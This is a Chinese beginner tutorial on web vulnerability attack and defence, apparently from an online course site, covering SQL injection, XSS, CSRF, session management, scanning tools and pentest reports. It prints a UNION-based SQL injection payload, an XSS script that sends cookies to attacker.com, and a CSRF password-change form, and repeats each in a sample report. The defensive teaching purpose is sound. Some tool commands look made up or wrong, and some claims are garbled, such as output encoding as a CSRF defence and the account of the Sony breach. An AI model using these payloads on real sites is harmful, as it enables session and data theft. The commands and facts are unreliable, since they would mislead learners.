为了账号安全，请及时绑定邮箱和手机立即绑定
首页 手记 Web漏洞攻防教程：新手入门指南

Web漏洞攻防教程：新手入门指南

标签：
安全 安全测试
概述

本文详细介绍了Web漏洞攻防的基础知识，包括常见的Web漏洞类型及其危害、检测方法和防御措施。文中还提供了渗透测试的实践技巧，并推荐了相关的学习资源和在线课程，帮助读者全面掌握Web漏洞攻防技术。

Web漏洞攻防基础知识
什么是Web漏洞

Web漏洞是指在Web应用开发、设计和实施过程中出现的安全问题，这些问题是攻击者可以利用以获取敏感数据、控制服务器或破坏系统。Web漏洞可以分为多种类型，例如注入漏洞、跨站脚本（XSS）、跨站请求伪造（CSRF）等。Web漏洞的存在使得攻击者有机会执行恶意操作，如获取敏感信息、篡改数据或控制服务器。

为什么需要关注Web漏洞

Web漏洞不仅影响网站的安全性，还会导致严重的后果，如数据泄露、服务器被控制、网站被篡改等。此外，Web漏洞还可能导致法律问题和经济损失。例如，如果个人隐私信息被泄露，可能会导致法律诉讼；如果网站被恶意软件感染，可能会导致公司声誉受损。

常见的Web漏洞类型

注入漏洞

注入漏洞是最常见的Web漏洞之一，包括SQL注入、命令注入和OS命令注入等。当输入的数据未经过正确验证或过滤时，攻击者可以通过精心构造的数据来执行恶意代码。例如，如果一个网站的搜索功能未验证用户输入的查询，攻击者可以输入恶意SQL命令来获取数据库中的敏感数据。

SQL注入示例代码

http://example.com/?id=1' UNION SELECT username, password FROM users --

跨站脚本（XSS）

跨站脚本是一种常见的Web攻击方式，攻击者可以将恶意脚本注入到网页内容中，当其他用户访问该网页时，这些恶意脚本会被执行。XSS攻击可以分为存储型XSS、反射型XSS和DOM型XSS三种类型。这类攻击的目的是窃取敏感信息或控制用户的浏览器。

XSS示例代码

<script>
    document.location = "http://attacker.com/?cookie=" + document.cookie;
</script>

跨站请求伪造（CSRF）

CSRF攻击利用受害者的身份向网站发送请求，从而执行攻击者期望的操作。例如，攻击者可以构建一个恶意网页，当用户访问该网页时，攻击者的脚本可以自动提交表单，执行如更改用户密码等操作。

CSRF示例代码

<form action="http://example.com/change-password" method="POST">
    <input type="hidden" name="username" value="admin">
    <input type="hidden" name="password" value="password123">
    <input type="submit" value="Change Password">
</form>

会话管理漏洞

会话管理漏洞通常由于会话标识符未正确管理或保护而产生。攻击者可以通过窃取或猜测会话标识符来冒充合法用户，从而访问受保护的资源。

漏洞的危害与影响

数据泄露

Web漏洞可能导致敏感数据泄露，如用户信息、账号密码等，从而给个人和企业带来巨大的损失。例如，2017年雅虎泄露事件，导致30多亿用户账号信息被盗。

系统被控制

Web漏洞可能被攻击者利用来控制服务器，通过植入木马、关闭网站或从事非法活动来破坏系统。例如，2011年索尼PSN事件，由于SQL注入漏洞，索尼遭受了大规模的DDoS攻击，导致PSN网络服务中断。

声誉受损

Web漏洞可能导致网站和企业的声誉受损，影响客户信任。例如，2013年的Target事件，由于POS系统存在漏洞，导致4000万用户的信用卡信息被盗。

法律问题与经济损失

Web漏洞可能导致法律问题和经济损失。例如，2018年Equifax事件，由于Apache Struts漏洞，导致1.47亿用户信息泄露，Equifax因此面临了大规模的诉讼。

常见Web漏洞的检测方法
手动检测Web漏洞

手动检测Web漏洞需要对Web应用的源代码进行审查，并对应用程序的输入输出方式进行检查。此外，还需要对Web服务器和数据库进行配置检查。

源代码审查

通过审查源代码来查找潜在的安全漏洞，如SQL注入漏洞、XSS漏洞等。例如，检查是否对用户输入进行了适当的验证和过滤。

源代码审查示例代码

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

应用程序输入输出检查

对应用程序的输入输出方式进行检查，确保所有用户输入都经过适当验证，所有输出都进行了适当的编码。例如，检查是否使用了htmlspecialchars函数来防止XSS攻击。

输入输出检查示例代码

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

Web服务器和数据库配置检查

检查Web服务器和数据库的配置是否安全，是否存在默认的弱密码，是否启用了不必要的服务等。例如，检查Apache配置文件中的AllowOverride是否设置为None。

配置检查示例代码

# 启用HTTPS
<VirtualHost *:443>
    ServerName www.example.com
    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/example.crt
    SSLCertificateKeyFile /etc/ssl/private/example.key
</VirtualHost>
使用工具检测Web漏洞

使用自动化工具可以加快检测Web漏洞的速度和准确性。这些工具可以扫描Web应用的源代码、服务器配置和运行时行为。

使用自动化工具扫描源代码

使用工具扫描Web应用的源代码，以检测潜在的安全漏洞。例如，使用OWASP ZAP或Netsparker等工具进行扫描。

工具扫描示例代码

# 使用OWASP ZAP扫描
zap-basis -cmd -quick-url http://example.com

服务器配置和运行时行为检查

使用工具检查Web服务器和数据库的配置，以及应用程序在运行时的行为。例如，使用Nessus或OpenVAS等工具进行扫描。

工具检查示例代码

# 使用Nessus扫描
nessus-scan -target http://example.com
常用的安全扫描工具介绍

OWASP ZAP

OWASP ZAP是一个开源的Web应用安全扫描工具，它可以自动扫描Web应用的源代码和运行时环境，以检测潜在的安全漏洞。例如，ZAP可以检测SQL注入、XSS等漏洞。

Netsparker

Netsparker是一个商业化的Web应用安全扫描工具，它可以自动扫描Web应用的源代码和运行时环境，以检测潜在的安全漏洞。例如，Netsparker可以检测SQL注入、XSS等漏洞。

Nessus

Nessus是一个商业化的漏洞扫描工具，它可以扫描Web服务器和数据库的配置，以及应用程序在运行时的行为。例如，Nessus可以检测SQL注入、XSS等漏洞。

OpenVAS

OpenVAS是一个开源的漏洞扫描工具，它可以扫描Web服务器和数据库的配置，以及应用程序在运行时的行为。例如，OpenVAS可以检测SQL注入、XSS等漏洞。

常见Web漏洞的防御措施
输入验证

输入验证是Web应用安全的基础。通过输入验证，可以确保所有用户输入的数据都是预期的类型和格式，从而防止注入攻击和其他类型的安全漏洞。

验证用户输入

通过验证用户输入来防止注入攻击。例如，在数据库查询中使用参数化查询，在HTML输出中使用htmlspecialchars。

输入验证示例代码

// 使用参数化查询防止SQL注入
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

验证文件上传

通过验证文件上传来防止恶意文件的上传。例如，检查文件类型和大小，限制上传文件的类型和大小。

文件上传验证示例代码

if (isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $fileType = $file['type'];
    $fileSize = $file['size'];
    $allowedTypes = ['image/jpeg', 'image/png'];
    $maxSize = 1000000; // 1MB

    if (in_array($fileType, $allowedTypes) && $fileSize <= $maxSize) {
        // 文件类型和大小合法
    } else {
        // 文件类型或大小不合法
    }
}
输出编码

输出编码是Web应用安全的重要组成部分。通过输出编码，可以防止恶意脚本的执行，从而防止XSS攻击和其他类型的安全漏洞。

防止XSS攻击

通过输出编码来防止XSS攻击。例如，在输出HTML时使用htmlspecialchars，在输出JavaScript时使用json_encode。

防止XSS攻击示例代码

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

// 使用json_encode防止XSS攻击
echo '<script>var data = ' . json_encode($userData) . ';</script>';

防止CSRF攻击

通过输出编码来防止CSRF攻击。例如，在输出HTML表单时使用htmlspecialchars，在输出JavaScript时使用json_encode。

防止CSRF攻击示例代码

// 使用htmlspecialchars防止XSS攻击
echo '<form action="' . htmlspecialchars($actionUrl) . '" method="POST">';

// 使用json_encode防止XSS攻击
echo '<script>var csrfToken = ' . json_encode($csrfToken) . ';</script>';
会话管理

会话管理是Web应用安全的重要组成部分。通过会话管理，可以防止会话劫持和其他类型的安全漏洞。

使用HTTPS

通过使用HTTPS来防止会话劫持。例如，在Web服务器上启用HTTPS，确保所有会话数据都经过加密传输。

HTTPS示例代码

# 启用HTTPS
<VirtualHost *:443>
    ServerName www.example.com
    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/example.crt
    SSLCertificateKeyFile /etc/ssl/private/example.key
</VirtualHost>

生成随机会话标识符

通过生成随机会话标识符来防止会话劫持。例如，使用uuid生成随机会话标识符。

生成随机会话标识符示例代码

// 使用uuid生成随机会话标识符
session_start();
session_id(bin2hex(random_bytes(16)));

限制会话生命周期

通过限制会话生命周期来防止会话劫持。例如，设置会话过期时间，确保在用户离开网站后，会话数据能够自动销毁。

限制会话生命周期示例代码

// 设置会话过期时间
session_start();
session_set_cookie_params([
    'lifetime' => 3600, // 1小时
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict',
]);
安全配置

安全配置是Web应用安全的重要组成部分。通过安全配置，可以防止攻击者利用Web服务器、数据库和其他系统组件的漏洞。

限制资源访问

通过限制资源访问来防止攻击者利用Web服务器、数据库和其他系统组件的漏洞。例如，限制文件系统访问，限制数据库访问。

限制资源访问示例代码

// 使用.htaccess限制文件系统访问
<FilesMatch "\.(jpg|png|gif)$">
    Order Deny,Allow
    Deny from all
    Allow from 127.0.0.1
</FilesMatch>

// 使用数据库权限限制数据库访问
GRANT SELECT, INSERT ON users TO 'user'@'localhost';

限制数据库访问

通过限制数据库访问来防止攻击者利用Web服务器、数据库和其他系统组件的漏洞。例如，限制数据库访问，限制数据库权限。

限制数据库访问示例代码

// 使用数据库权限限制数据库访问
GRANT SELECT, INSERT ON users TO 'user'@'localhost';

使用安全的默认配置

通过使用安全的默认配置来防止攻击者利用Web服务器、数据库和其他系统组件的漏洞。例如，使用安全的默认配置，避免使用默认的弱密码。

使用安全的默认配置示例代码

# 使用安全的默认配置
<VirtualHost *:80>
    ServerName www.example.com
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options -Indexes
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
Web渗透测试实践
渗透测试的准备

渗透测试是一种模拟攻击者行为的技术，以评估Web应用的安全性。在进行渗透测试之前，需要准备测试环境和测试工具。

准备测试环境

在进行渗透测试之前，需要准备测试环境，包括Web服务器、数据库和Web应用。测试环境应该与实际环境尽可能相似，以确保测试结果的准确性。

测试环境示例代码

# 安装Web服务器
sudo apt-get install apache2

# 安装数据库
sudo apt-get install mysql-server

# 安装Web应用
git clone https://github.com/example/example-app.git /var/www/html

准备测试工具

在进行渗透测试之前，需要准备测试工具，包括自动化工具和手动工具。测试工具应该能够帮助测试人员快速找到潜在的安全漏洞。

测试工具示例代码

# 安装自动化工具
sudo apt-get install zap-basis

# 安装手动工具
sudo apt-get install nmap
漏洞利用与攻击模拟

在进行渗透测试时，测试人员需要利用已知的漏洞来模拟攻击行为，以评估Web应用的安全性。

利用SQL注入漏洞

在进行渗透测试时，测试人员可以利用SQL注入漏洞来获取数据库中的敏感数据。例如，通过修改URL参数来执行恶意SQL命令。

SQL注入漏洞利用示例代码

# 利用SQL注入漏洞
http://example.com/?id=1' UNION SELECT username, password FROM users --

利用XSS漏洞

在进行渗透测试时，测试人员可以利用XSS漏洞来窃取用户的敏感信息。例如，通过构造恶意脚本来获取用户的Cookie。

XSS漏洞利用示例代码

<!-- 利用XSS漏洞 -->
<script>
    document.location = "http://attacker.com/?cookie=" + document.cookie;
</script>

利用CSRF漏洞

在进行渗透测试时，测试人员可以利用CSRF漏洞来执行用户的敏感操作。例如，通过构造恶意表单来更改用户的密码。

CSRF漏洞利用示例代码

<!-- 利用CSRF漏洞 -->
<form action="http://example.com/change-password" method="POST">
    <input type="hidden" name="username" value="admin">
    <input type="hidden" name="password" value="password123">
    <input type="submit" value="Change Password">
</form>
渗透测试报告编写

在完成渗透测试后，测试人员需要编写渗透测试报告，以记录测试过程和测试结果。渗透测试报告可以用于评估Web应用的安全性，并提供改进建议。

记录测试过程

渗透测试报告应该记录测试过程，包括测试环境、测试工具、测试方法和测试结果。

测试过程示例

# 渗透测试报告

## 测试环境
- Web服务器：Apache 2.4
- 数据库：MySQL 5.7
- Web应用：Example App

## 测试工具
- OWASP ZAP
- Nmap

## 测试方法
- 手动测试
- 自动化测试

## 测试结果
- 发现SQL注入漏洞
- 发现XSS漏洞
- 发现CSRF漏洞

记录测试结果

渗透测试报告应该记录测试结果，包括发现的漏洞、漏洞的危害和漏洞的利用方法。

测试结果示例

# 渗透测试报告

## 漏洞发现
- SQL注入漏洞
- XSS漏洞
- CSRF漏洞

## 漏洞危害
- SQL注入漏洞可能导致敏感数据泄露
- XSS漏洞可能导致敏感信息窃取
- CSRF漏洞可能导致用户操作篡改

## 漏洞利用
- SQL注入漏洞利用：`http://example.com/?id=1' UNION SELECT username, password FROM users --`
- XSS漏洞利用：`<script>document.location = "http://attacker.com/?cookie=" + document.cookie;</script>`
- CSRF漏洞利用：`<form action="http://example.com/change-password" method="POST"><input type="hidden" name="username" value="admin"><input type="hidden" name="password" value="password123"><input type="submit" value="Change Password"></form>`

提供建议和修复措施

渗透测试报告应该提供改进建议和修复措施，以防止类似的安全漏洞再次发生。

改进建议示例

# 渗透测试报告

## 改进建议
- 输入验证：使用参数化查询防止SQL注入，使用`htmlspecialchars`防止XSS，使用CSRF令牌防止CSRF
- 输出编码：使用`htmlspecialchars`防止XSS，使用`json_encode`防止XSS
- 会话管理：使用HTTPS防止会话劫持，生成随机会话标识符防止会话劫持，限制会话生命周期防止会话劫持
- 安全配置：限制资源访问防止攻击，限制数据库访问防止攻击，使用安全的默认配置防止攻击

## 修复措施
- SQL注入漏洞修复：使用参数化查询防止SQL注入
- XSS漏洞修复：使用`htmlspecialchars`防止XSS
- CSRF漏洞修复：使用CSRF令牌防止CSRF
Web安全最佳实践
开发安全Web应用的原则

开发安全Web应用的原则是确保Web应用的安全性。这些原则包括输入验证、输出编码、会话管理和安全配置等。

输入验证

输入验证是Web应用安全的基础。通过输入验证，可以确保所有用户输入的数据都是预期的类型和格式，从而防止注入攻击和其他类型的安全漏洞。

输入验证示例代码

// 使用参数化查询防止SQL注入
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

输出编码

输出编码是Web应用安全的重要组成部分。通过输出编码，可以防止恶意脚本的执行，从而防止XSS攻击和其他类型的安全漏洞。

输出编码示例代码

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

// 使用json_encode防止XSS攻击
echo '<script>var data = ' . json_encode($userData) . ';</script>';

会话管理

会话管理是Web应用安全的重要组成部分。通过会话管理，可以防止会话劫持和其他类型的安全漏洞。

会话管理示例代码

// 使用HTTPS防止会话劫持
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

// 生成随机会话标识符防止会话劫持
session_start();
session_id(bin2hex(random_bytes(16)));

// 限制会话生命周期防止会话劫持
session_set_cookie_params([
    'lifetime' => 3600, // 1小时
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict',
]);

安全配置

安全配置是Web应用安全的重要组成部分。通过安全配置，可以防止攻击者利用Web服务器、数据库和其他系统组件的漏洞。

安全配置示例代码

// 限制资源访问防止攻击
<FilesMatch "\.(jpg|png|gif)$">
    Order Deny,Allow
    Deny from all
    Allow from 127.0.0.1
</FilesMatch>

// 限制数据库访问防止攻击
GRANT SELECT, INSERT ON users TO 'user'@'localhost';

// 使用安全的默认配置防止攻击
<VirtualHost *:80>
    ServerName www.example.com
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options -Indexes
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
安全编码实践

安全编码实践是确保Web应用安全的重要组成部分。通过安全编码实践，可以防止注入攻击、XSS攻击、CSRF攻击和其他类型的安全漏洞。

验证用户输入

通过验证用户输入来防止注入攻击。例如，在数据库查询中使用参数化查询，在HTML输出中使用htmlspecialchars。

验证用户输入示例代码

// 使用参数化查询防止SQL注入
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

防止XSS攻击

通过输出编码来防止XSS攻击。例如，在输出HTML时使用htmlspecialchars，在输出JavaScript时使用json_encode。

防止XSS攻击示例代码

// 使用htmlspecialchars防止XSS攻击
echo htmlspecialchars($userInput);

// 使用json_encode防止XSS攻击
echo '<script>var data = ' . json_encode($userData) . ';</script>';

防止CSRF攻击

通过生成CSRF令牌来防止CSRF攻击。例如，在表单中添加CSRF令牌，验证CSRF令牌。

防止CSRF攻击示例代码

// 生成CSRF令牌
session_start();
$csrfToken = bin2hex(random_bytes(16));
$_SESSION['csrfToken'] = $csrfToken;

// 表单中添加CSRF令牌
<form action="http://example.com/change-password" method="POST">
    <input type="hidden" name="csrfToken" value="<?php echo $csrfToken; ?>">
    <input type="submit" value="Change Password">
</form>

// 验证CSRF令牌
session_start();
if ($_SESSION['csrfToken'] !== $_POST['csrfToken']) {
    // CSRF令牌不匹配
}
定期安全审计与更新

定期安全审计与更新是确保Web应用安全的重要组成部分。通过定期安全审计与更新，可以及时发现和修复潜在的安全漏洞。

定期安全审计

通过定期安全审计来发现潜在的安全漏洞。例如，使用自动化工具扫描Web应用的源代码和运行时环境，使用手动工具检查Web服务器和数据库的配置。

安全审计示例代码

# 使用自动化工具扫描Web应用
sudo zap-basis -cmd -quick-url http://example.com

# 使用手动工具检查Web服务器和数据库
sudo nmap -p 80,443 -T4 http://example.com
sudo mysql -u user -p -e "SHOW GRANTS FOR 'user'@'localhost';"

定期更新

通过定期更新来修复潜在的安全漏洞。例如，更新Web服务器、数据库和其他系统组件的版本，更新Web应用的版本。

定期更新示例代码

# 更新Web服务器
sudo apt-get update
sudo apt-get upgrade

# 更新数据库
sudo apt-get update
sudo apt-get upgrade

# 更新Web应用
git clone https://github.com/example/example-app.git /var/www/html
Web漏洞攻防资源推荐
学习资源与书籍推荐

推荐学习资源和书籍，可以帮助你深入了解Web漏洞攻防。

学习资源

  • OWASP官方文档：OWASP官方文档提供了丰富的Web应用安全信息，包括漏洞类型、检测方法和防御措施。
  • 网络安全专栏：网络安全专栏提供了大量的Web应用安全文章和技术博客，可以帮助你深入了解Web漏洞攻防。
  • 渗透测试教程：渗透测试教程提供了详细的渗透测试步骤和技巧，可以帮助你掌握渗透测试技术。

书籍推荐

  • 《Web安全攻防：实战篇》：本书介绍了Web安全攻防的基本原理和技术，包括漏洞类型、检测方法和防御措施。
  • 《Web安全攻防：高级篇》：本书介绍了Web安全攻防的高级技术，包括漏洞利用、攻击模拟和渗透测试。
  • 《Web安全攻防：实战篇》：本书提供了大量的Web安全攻防实战案例，可以帮助你掌握Web安全攻防技术。
在线学习平台与课程推荐

推荐在线学习平台和课程，可以帮助你深入了解Web漏洞攻防。

网络安全培训

  • 慕课网：慕课网提供了大量的Web安全攻防课程和技术博客，可以帮助你深入了解Web漏洞攻防。
  • Cybersecurity Training：Cybersecurity Training提供了大量的网络安全课程和技术博客，可以帮助你掌握网络安全技术。
  • Udemy：Udemy提供了大量的Web安全攻防课程和技术博客，可以帮助你掌握Web安全攻防技术。

渗透测试课程

  • 渗透测试课程：渗透测试课程提供了详细的渗透测试步骤和技巧，可以帮助你掌握渗透测试技术。
  • Web安全攻防课程：Web安全攻防课程提供了详细的Web安全攻防步骤和技巧，可以帮助你掌握Web安全攻防技术。
社区与论坛推荐

推荐社区和论坛，可以帮助你深入了解Web漏洞攻防。

安全社区

  • OWASP社区：OWASP社区提供了大量的Web安全攻防信息和技术博客，可以帮助你掌握Web安全攻防技术。
  • 拓客网：拓客网提供了大量的Web安全攻防信息和技术博客，可以帮助你掌握Web安全攻防技术。
  • 渗透测试社区：渗透测试社区提供了大量的渗透测试信息和技术博客，可以帮助你掌握渗透测试技术。

技术论坛

  • Stack Overflow：Stack Overflow提供了大量的Web安全攻防信息和技术博客，可以帮助你掌握Web安全攻防技术。
  • Reddit：Reddit提供了大量的Web安全攻防信息和技术博客，可以帮助你掌握Web安全攻防技术。
  • GitHub：GitHub提供了大量的Web安全攻防信息和技术博客，可以帮助你掌握Web安全攻防技术。
点击查看更多内容
发表于 2024.11.06 12:40， 共 125 人浏览

本文原创发布于慕课网 ，转载请注明出处，谢谢合作

举报
为 TA 点赞

若觉得本文不错，就分享一下吧！

评论

作者其他优质文章

正在加载中

元芳怎么了

手记
篇
粉丝
5
获赞与收藏
21

关注作者，订阅最新文章

阅读免费教程

  • 推荐
  • 评论
  • 收藏
  • 共同学习，写下你的评论
感谢您的支持，我会继续努力的～
扫码打赏，你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫，即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消